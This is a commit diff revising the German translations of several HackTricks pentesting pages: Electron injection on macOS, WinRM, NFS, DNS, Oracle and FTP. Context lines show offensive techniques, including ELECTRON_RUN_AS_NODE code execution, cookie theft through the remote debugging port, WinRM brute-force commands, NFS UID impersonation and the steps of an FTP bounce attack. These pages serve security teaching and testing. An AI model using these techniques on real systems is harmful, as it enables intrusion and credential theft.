mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
Translator
parent
56f785d1ca
commit
e52278867e
@ -1,27 +1,27 @@
|
||||
# macOS Electron-Anwendungen Injection
|
||||
# macOS Electron-Anwendungen-Injektion
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundinformationen
|
||||
## Grundlegende Informationen
|
||||
|
||||
Wenn Sie nicht wissen, was Electron ist, finden Sie [**hier viele Informationen**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Aber für jetzt wissen Sie einfach, dass Electron **node** ausführt.\
|
||||
Und node hat einige **Parameter** und **Umgebungsvariablen**, die verwendet werden können, um **anderen Code auszuführen**, abgesehen von der angegebenen Datei.
|
||||
|
||||
### Electron Fuses
|
||||
### Electron-Fuses
|
||||
|
||||
Diese Techniken werden als nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**:
|
||||
Diese Techniken werden als Nächstes besprochen, aber in letzter Zeit hat Electron mehrere **Sicherheitsflags hinzugefügt, um sie zu verhindern**. Dies sind die [**Electron-Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) und diese werden verwendet, um zu **verhindern**, dass Electron-Anwendungen in macOS **willkürlichen Code laden**:
|
||||
|
||||
- **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code zu injizieren.
|
||||
- **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code zu injizieren.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injection** verhindert, indem der Inhalt dieser Datei geändert wird.
|
||||
- **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`** Fuse **unmöglich** ist, **nicht-validierten Code** zu **laden**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei namens `browser_v8_context_snapshot.bin` für seinen V8-Snapshot.
|
||||
- **`RunAsNode`**: Wenn deaktiviert, verhindert es die Verwendung der Umgebungsvariable **`ELECTRON_RUN_AS_NODE`**, um Code einzufügen.
|
||||
- **`EnableNodeCliInspectArguments`**: Wenn deaktiviert, werden Parameter wie `--inspect`, `--inspect-brk` nicht respektiert. Dies vermeidet diesen Weg, um Code einzufügen.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Wenn aktiviert, wird die geladene **`asar`** **Datei** von macOS **validiert**. Dadurch wird **Code-Injektion** durch Modifikation des Inhalts dieser Datei **verhindert**.
|
||||
- **`OnlyLoadAppFromAsar`**: Wenn dies aktiviert ist, wird anstelle der Suche in der folgenden Reihenfolge: **`app.asar`**, **`app`** und schließlich **`default_app.asar`** nur app.asar überprüft und verwendet, wodurch sichergestellt wird, dass es in Kombination mit dem **`embeddedAsarIntegrityValidation`**-Fuse **unmöglich** ist, **nicht-validierten Code** zu **laden**.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Wenn aktiviert, verwendet der Browserprozess die Datei `browser_v8_context_snapshot.bin` für seinen V8-Snapshot.
|
||||
|
||||
Ein weiterer interessanter Fuse, der die Code-Injection nicht verhindert, ist:
|
||||
Ein weiterer interessanter Fuse, der die Code-Injektion nicht verhindert, ist:
|
||||
|
||||
- **EnableCookieEncryption**: Wenn aktiviert, wird der Cookie-Speicher auf der Festplatte mit kryptografischen Schlüsseln auf Betriebssystemebene verschlüsselt.
|
||||
|
||||
### Überprüfen der Electron Fuses
|
||||
### Überprüfen der Electron-Fuses
|
||||
|
||||
Sie können **diese Flags** von einer Anwendung aus überprüfen mit:
|
||||
```bash
|
||||
@ -54,7 +54,7 @@ Beachten Sie, dass die Anwendung nicht ausgeführt wird, wenn Sie versuchen, die
|
||||
|
||||
## RCE Code zu Electron-Anwendungen hinzufügen
|
||||
|
||||
Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, sodass ein Angreifer Code in diese Dateien injizieren könnte, deren Signatur nicht überprüft wird, und willkürlichen Code im Kontext der App ausführen könnte.
|
||||
Es könnte **externe JS/HTML-Dateien** geben, die eine Electron-App verwendet, sodass ein Angreifer Code in diese Dateien injizieren könnte, deren Signatur nicht überprüft wird, und willkürlichen Code im Kontext der App ausführen kann.
|
||||
|
||||
> [!CAUTION]
|
||||
> Es gibt jedoch derzeit 2 Einschränkungen:
|
||||
@ -84,7 +84,7 @@ ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Wenn die Fuse **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert, und dies wird nicht funktionieren.
|
||||
> Wenn die Sicherung **`RunAsNode`** deaktiviert ist, wird die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ignoriert, und dies wird nicht funktionieren.
|
||||
|
||||
### Injection aus der App Plist
|
||||
|
||||
@ -157,9 +157,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
> [!CAUTION]
|
||||
> Wenn die Sicherung **`EnableNodeCliInspectArguments`** deaktiviert ist, wird die App **Node-Parameter** (wie `--inspect`) beim Start ignorieren, es sei denn, die Umgebungsvariable **`ELECTRON_RUN_AS_NODE`** ist gesetzt, die ebenfalls **ignoriert** wird, wenn die Sicherung **`RunAsNode`** deaktiviert ist.
|
||||
>
|
||||
> Sie können jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload funktioniert nicht, um andere Prozesse auszuführen.
|
||||
> Sie könnten jedoch immer noch den **Electron-Parameter `--remote-debugging-port=9229`** verwenden, aber die vorherige Payload wird nicht funktionieren, um andere Prozesse auszuführen.
|
||||
|
||||
Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Verlauf** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt).
|
||||
Mit dem Parameter **`--remote-debugging-port=9222`** ist es möglich, einige Informationen aus der Electron-App zu stehlen, wie die **Historie** (mit GET-Befehlen) oder die **Cookies** des Browsers (da sie im Browser **entschlüsselt** sind und es einen **JSON-Endpunkt** gibt, der sie bereitstellt).
|
||||
|
||||
Sie können lernen, wie man das macht, [**hier**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) und [**hier**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) und das automatische Tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) oder ein einfaches Skript wie:
|
||||
```python
|
||||
@ -194,8 +194,8 @@ Sie könnten diese Umgebungsvariable in einer plist missbrauchen, um Persistenz
|
||||
|
||||
## Run non JS Code
|
||||
|
||||
Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung** auszuführen. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\
|
||||
Daher, wenn Sie Berechtigungen missbrauchen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess heraus ausführen**.
|
||||
Die vorherigen Techniken ermöglichen es Ihnen, **JS-Code innerhalb des Prozesses der Electron-Anwendung auszuführen**. Denken Sie jedoch daran, dass die **Kindprozesse unter demselben Sandbox-Profil** wie die übergeordnete Anwendung ausgeführt werden und **ihre TCC-Berechtigungen erben**.\
|
||||
Daher, wenn Sie Berechtigungen ausnutzen möchten, um beispielsweise auf die Kamera oder das Mikrofon zuzugreifen, könnten Sie einfach **eine andere Binärdatei aus dem Prozess ausführen**.
|
||||
|
||||
## Automatic Injection
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Oracle-Datenbank (Oracle DB) ist ein relationales Datenbankmanagementsystem (RDBMS) von der Oracle Corporation (von [hier](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
Beim Enumerieren von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-).
|
||||
Bei der Enumeration von Oracle ist der erste Schritt, mit dem TNS-Listener zu kommunizieren, der sich normalerweise am Standardport (1521/TCP, -es können auch sekundäre Listener auf 1522–1529 vorhanden sein-).
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Grundlegende Informationen
|
||||
|
||||
Das **WHOIS**-Protokoll dient als standardisierte Methode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen.
|
||||
Das **WHOIS**-Protokoll dient als Standardmethode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen.
|
||||
|
||||
**Standardport:** 43
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) wird als **Protokoll von Microsoft** hervorgehoben, das die **Fernverwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als HTTP-basiertes Interface für WMI-Operationen.
|
||||
|
||||
Das Vorhandensein von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen:
|
||||
Die Anwesenheit von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
@ -15,12 +15,12 @@ Ein offener Port aus der obigen Liste zeigt an, dass WinRM eingerichtet wurde, w
|
||||
|
||||
### **Initiierung einer WinRM-Sitzung**
|
||||
|
||||
Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting` Cmdlet zum Einsatz, das den Computer so einrichtet, dass er Remote-PowerShell-Befehle akzeptiert. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und jeden Host als vertrauenswürdig zu kennzeichnen:
|
||||
Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting` cmdlet zum Einsatz, das den Computer so einrichtet, dass er Remote-PowerShell-Befehle akzeptiert. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und jeden Host als vertrauenswürdig zu kennzeichnen:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der sorgfältige Überlegungen aufgrund seiner Implikationen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
|
||||
Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der aufgrund seiner Auswirkungen sorgfältig überlegt werden muss. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern.
|
||||
|
||||
Darüber hinaus kann WinRM **ferngesteuert aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert:
|
||||
```powershell
|
||||
@ -85,7 +85,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt.**
|
||||
**Die Sitzung wird in einem neuen Prozess (wsmprovhost) innerhalb des "Opfers" ausgeführt**
|
||||
|
||||
### **WinRM Öffnen Erzwingen**
|
||||
|
||||
@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
|
||||
### Brute Force
|
||||
|
||||
Seien Sie vorsichtig, das Brute-Forcen von winrm könnte Benutzer blockieren.
|
||||
Seien Sie vorsichtig, das Brute-Forcen von WinRM könnte Benutzer blockieren.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
Lesen Sie die **Dokumentation** auf GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
Lies die **Dokumentation** auf GitHub: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
|
||||
@ -22,7 +22,7 @@ Die Authentifizierung stützt sich häufig auf **UNIX `UID`/`GID`-Identifikatore
|
||||
|
||||
- **NFSv4**: Eine wegweisende Version in der NFS-Serie, brachte NFSv4 eine Reihe von Funktionen mit sich, die darauf abzielen, die Dateifreigabe über Netzwerke zu modernisieren. Zu den bemerkenswerten Verbesserungen gehören die Integration von Kerberos für **hohe Sicherheit**, die Fähigkeit, Firewalls zu durchqueren und über das Internet ohne die Notwendigkeit von Portmappern zu arbeiten, Unterstützung für Access Control Lists (ACLs) und die Einführung von zustandsbasierten Operationen. Die Leistungsverbesserungen und die Einführung eines zustandsbehafteten Protokolls heben NFSv4 als einen entscheidenden Fortschritt in der Technologie der Netzwerkdateifreigabe hervor.
|
||||
|
||||
Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden und schrittweise Sicherheit, Kompatibilität und Leistung zu verbessern.
|
||||
Jede Version von NFS wurde mit dem Ziel entwickelt, den sich entwickelnden Bedürfnissen von Netzwerkumgebungen gerecht zu werden, wobei Sicherheit, Kompatibilität und Leistung schrittweise verbessert wurden.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@ -38,7 +38,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions
|
||||
```
|
||||
### Mounting
|
||||
|
||||
Um zu wissen, **welcher Ordner** auf dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit:
|
||||
Um zu wissen, **welcher Ordner** dem Server **verfügbar** ist, um ihn zu mounten, können Sie ihn fragen mit:
|
||||
```bash
|
||||
showmount -e <IP>
|
||||
```
|
||||
@ -55,11 +55,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
||||
```
|
||||
## Berechtigungen
|
||||
|
||||
Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** werden Sie in der Lage sein, auf die Datei/den Ordner zuzugreifen.
|
||||
Wenn Sie einen Ordner einhängen, der **Dateien oder Ordner enthält, die nur von einem bestimmten Benutzer** (durch **UID**) zugänglich sind. Sie können **lokal** einen Benutzer mit dieser **UID** erstellen und mit diesem **Benutzer** können Sie auf die Datei/den Ordner **zugreifen**.
|
||||
|
||||
## NSFShell
|
||||
|
||||
Um Dateien einfach aufzulisten, einzuhängen und UID sowie GID zu ändern, um Zugriff auf Dateien zu erhalten, können Sie [nfsshell](https://github.com/NetDirect/nfsshell) verwenden.
|
||||
Um einfach aufzulisten, zu mounten und UID und GID zu ändern, um Zugriff auf Dateien zu erhalten, können Sie [nfsshell](https://github.com/NetDirect/nfsshell) verwenden.
|
||||
|
||||
[Nice NFSShell tutorial.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
|
||||
|
||||
|
||||
@ -18,10 +18,10 @@ PORT STATE SERVICE REASON
|
||||
|
||||
- **DNS-Root-Server**: Diese stehen an der Spitze der DNS-Hierarchie, verwalten die Top-Level-Domains und treten nur ein, wenn niedrigere Server nicht antworten. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) überwacht ihren Betrieb, mit einer globalen Anzahl von 13.
|
||||
- **Autorisierte Nameserver**: Diese Server haben das letzte Wort für Anfragen in ihren zugewiesenen Zonen und bieten definitive Antworten. Wenn sie keine Antwort geben können, wird die Anfrage an die Root-Server weitergeleitet.
|
||||
- **Nicht-autorisierte Nameserver**: Diese Server haben keine Eigentumsrechte an DNS-Zonen und sammeln Domaininformationen durch Anfragen an andere Server.
|
||||
- **Nicht-autorisierte Nameserver**: Diese Server haben kein Eigentum an DNS-Zonen und sammeln Domaininformationen durch Anfragen an andere Server.
|
||||
- **Caching-DNS-Server**: Diese Art von Server speichert frühere Antwortdaten für eine bestimmte Zeit, um die Antwortzeiten für zukünftige Anfragen zu beschleunigen, wobei die Cache-Dauer vom autoritativen Server bestimmt wird.
|
||||
- **Weiterleitungsserver**: Diese Server haben eine einfache Rolle und leiten Anfragen einfach an einen anderen Server weiter.
|
||||
- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und werden nicht als autoritativ betrachtet.
|
||||
- **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und gelten nicht als autoritativ.
|
||||
|
||||
## Enumeration
|
||||
|
||||
@ -52,7 +52,7 @@ dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
fierce --domain <DOMAIN> --dns-servers <DNS_IP> #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack
|
||||
```
|
||||
### Mehr Informationen
|
||||
### Weitere Informationen
|
||||
```bash
|
||||
dig ANY @<DNS_IP> <DOMAIN> #Any information
|
||||
dig A @<DNS_IP> <DOMAIN> #Regular DNS request
|
||||
@ -95,7 +95,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
> [!NOTE]
|
||||
> Wenn Sie Subdomains finden, die auf interne IP-Adressen auflösen, sollten Sie versuchen, einen Reverse-DNS-BF zu den NSs der Domain durchzuführen, die nach diesem IP-Bereich fragen.
|
||||
> Wenn Sie Subdomains finden, die auf interne IP-Adressen auflösen, sollten Sie versuchen, einen Reverse-DNS-Brute-Force-Angriff auf die NSs der Domain durchzuführen, die nach diesem IP-Bereich fragen.
|
||||
|
||||
Ein weiteres Tool dafür: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
|
||||
@ -14,7 +14,7 @@ PORT STATE SERVICE
|
||||
```
|
||||
### Verbindungen Aktiv & Passiv
|
||||
|
||||
In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP **Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients.
|
||||
In **Aktiv FTP** initiiert der FTP **Client** zuerst die Steuerungs-**verbindung** von seinem Port N zum Befehlsport des FTP-Servers – Port 21. Der **Client** hört dann auf Port **N+1** und sendet den Port N+1 an den FTP-Server. Der FTP-**Server** initiiert dann die Daten-**verbindung** von **seinem Port M zum Port N+1** des FTP-Clients.
|
||||
|
||||
Wenn der FTP-Client jedoch eine Firewall eingerichtet hat, die die eingehenden Datenverbindungen von außen kontrolliert, kann aktives FTP ein Problem darstellen. Eine praktikable Lösung dafür ist passives FTP.
|
||||
|
||||
@ -105,7 +105,7 @@ Hier finden Sie eine schöne Liste mit Standard-FTP-Anmeldeinformationen: [https
|
||||
|
||||
### Automatisiert
|
||||
|
||||
Anonyme Anmeldungen und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option oder durchgeführt:
|
||||
Anon-Login und Bounce-FTP-Überprüfungen werden standardmäßig von nmap mit der **-sC** Option durchgeführt oder:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -128,54 +128,54 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
## Einige FTP-Befehle
|
||||
|
||||
- **`USER username`**
|
||||
- **`PASS password`**
|
||||
- **`USER benutzername`**
|
||||
- **`PASS passwort`**
|
||||
- **`HELP`** Der Server zeigt an, welche Befehle unterstützt werden
|
||||
- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_Sie müssen das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_).
|
||||
- **`PORT 127,0,0,1,0,80`** Dies weist den FTP-Server an, eine Verbindung mit der IP 127.0.0.1 an Port 80 herzustellen (_du musst das 5. Zeichen als "0" und das 6. als den Port im Dezimalformat angeben oder das 5. und 6. Zeichen verwenden, um den Port im Hexadezimalformat auszudrücken_).
|
||||
- **`EPRT |2|127.0.0.1|80|`** Dies weist den FTP-Server an, eine TCP-Verbindung (_angezeigt durch "2"_) mit der IP 127.0.0.1 an Port 80 herzustellen. Dieser Befehl **unterstützt IPv6**.
|
||||
- **`LIST`** Dies sendet die Liste der Dateien im aktuellen Ordner
|
||||
- **`LIST -R`** Liste rekursiv (wenn vom Server erlaubt)
|
||||
- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in eine Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt.
|
||||
- **`APPE /path/something.txt`** Dies weist den FTP an, die Daten, die von einer **passiven** Verbindung oder von einer **PORT/EPRT**-Verbindung empfangen wurden, in einer Datei zu speichern. Wenn der Dateiname existiert, werden die Daten angehängt.
|
||||
- **`STOR /path/something.txt`** Wie `APPE`, aber es wird die Datei überschreiben
|
||||
- **`STOU /path/something.txt`** Wie `APPE`, aber wenn sie existiert, wird nichts unternommen.
|
||||
- **`RETR /path/to/file`** Eine passive oder eine Portverbindung muss hergestellt werden. Dann sendet der FTP-Server die angegebene Datei über diese Verbindung
|
||||
- **`REST 6`** Dies weist den Server an, dass er beim nächsten Mal, wenn er etwas mit `RETR` sendet, im 6. Byte beginnen soll.
|
||||
- **`TYPE i`** Setzt die Übertragung auf Binär
|
||||
- **`TYPE i`** Setze den Transfer auf binär
|
||||
- **`PASV`** Dies öffnet eine passive Verbindung und zeigt dem Benutzer, wo er sich verbinden kann
|
||||
- **`PUT /tmp/file.txt`** Lädt die angegebene Datei auf den FTP hoch
|
||||
- **`PUT /tmp/file.txt`** Lade die angegebene Datei auf den FTP hoch
|
||||
|
||||
.png>)
|
||||
|
||||
## FTPBounce-Angriff
|
||||
|
||||
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass Sie sich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchten. Dann können Sie dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind.
|
||||
Einige FTP-Server erlauben den Befehl PORT. Dieser Befehl kann verwendet werden, um dem Server anzuzeigen, dass du dich mit einem anderen FTP-Server an einem bestimmten Port verbinden möchtest. Dann kannst du dies verwenden, um zu scannen, welche Ports eines Hosts über einen FTP-Server offen sind.
|
||||
|
||||
[**Hier lernen, wie man einen FTP-Server missbraucht, um Ports zu scannen.**](ftp-bounce-attack.md)
|
||||
|
||||
Sie könnten dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Sie könnten **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\
|
||||
Du könntest dieses Verhalten auch ausnutzen, um einen FTP-Server mit anderen Protokollen interagieren zu lassen. Du könntest **eine Datei hochladen, die eine HTTP-Anfrage enthält** und den anfälligen FTP-Server **dazu bringen, sie an einen beliebigen HTTP-Server zu senden** (_vielleicht um einen neuen Admin-Benutzer hinzuzufügen?_) oder sogar eine FTP-Anfrage hochladen und den anfälligen FTP-Server dazu bringen, eine Datei von einem anderen FTP-Server herunterzuladen.\
|
||||
Die Theorie ist einfach:
|
||||
|
||||
1. **Laden Sie die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denken Sie daran, dass Sie, wenn Sie mit einem anderen HTTP- oder FTP-Server kommunizieren möchten, die Zeilen mit `0x0d 0x0a` ändern müssen
|
||||
2. **Verwenden Sie `REST X`, um zu vermeiden, die Zeichen zu senden, die Sie nicht senden möchten** (vielleicht mussten Sie, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen)
|
||||
3. **Verwenden Sie `PORT`, um sich mit dem beliebigen Server und Dienst zu verbinden**
|
||||
4. **Verwenden Sie `RETR`, um die gespeicherte Anfrage an den Server zu senden.**
|
||||
1. **Lade die Anfrage (in einer Textdatei) auf den anfälligen Server hoch.** Denk daran, dass du, wenn du mit einem anderen HTTP- oder FTP-Server kommunizieren möchtest, die Zeilen mit `0x0d 0x0a` ändern musst.
|
||||
2. **Verwende `REST X`, um zu vermeiden, die Zeichen zu senden, die du nicht senden möchtest** (vielleicht musstest du, um die Anfrage in die Datei hochzuladen, am Anfang einen Bildheader einfügen)
|
||||
3. **Verwende `PORT`, um dich mit dem beliebigen Server und Dienst zu verbinden**
|
||||
4. **Verwende `RETR`, um die gespeicherte Anfrage an den Server zu senden.**
|
||||
|
||||
Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um dies zu vermeiden, sind:
|
||||
Es ist sehr wahrscheinlich, dass dies **einen Fehler wie** _**Socket nicht beschreibbar**_ **auslöst, weil die Verbindung nicht lange genug dauert, um die Daten mit `RETR` zu senden**. Vorschläge, um das zu vermeiden, sind:
|
||||
|
||||
- Wenn Sie eine HTTP-Anfrage senden, **setzen Sie die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So:
|
||||
- Wenn du eine HTTP-Anfrage sendest, **setze die gleiche Anfrage nacheinander** bis **\~0.5MB** mindestens. So:
|
||||
|
||||
{{#file}}
|
||||
posts.txt
|
||||
{{#endfile}}
|
||||
|
||||
- Versuchen Sie, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn Sie mit FTP sprechen, vielleicht nur Junk-Befehle oder die `RETR`-Anweisung wiederholen, um die Datei zu erhalten)
|
||||
- Füllen Sie die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**
|
||||
- Versuche, die Anfrage mit "Junk"-Daten, die sich auf das Protokoll beziehen, zu **füllen** (wenn du mit FTP sprichst, vielleicht nur Junk-Befehle oder wiederhole die `RETR`-Anweisung, um die Datei zu erhalten)
|
||||
- Fülle die Anfrage einfach mit vielen Nullzeichen oder anderen **(getrennt in Zeilen oder nicht)**
|
||||
|
||||
Wie auch immer, hier haben Sie ein [altes Beispiel, wie man dies ausnutzen kann, um einen FTP-Server eine Datei von einem anderen FTP-Server herunterladen zu lassen.](ftp-bounce-download-2oftp-file.md)
|
||||
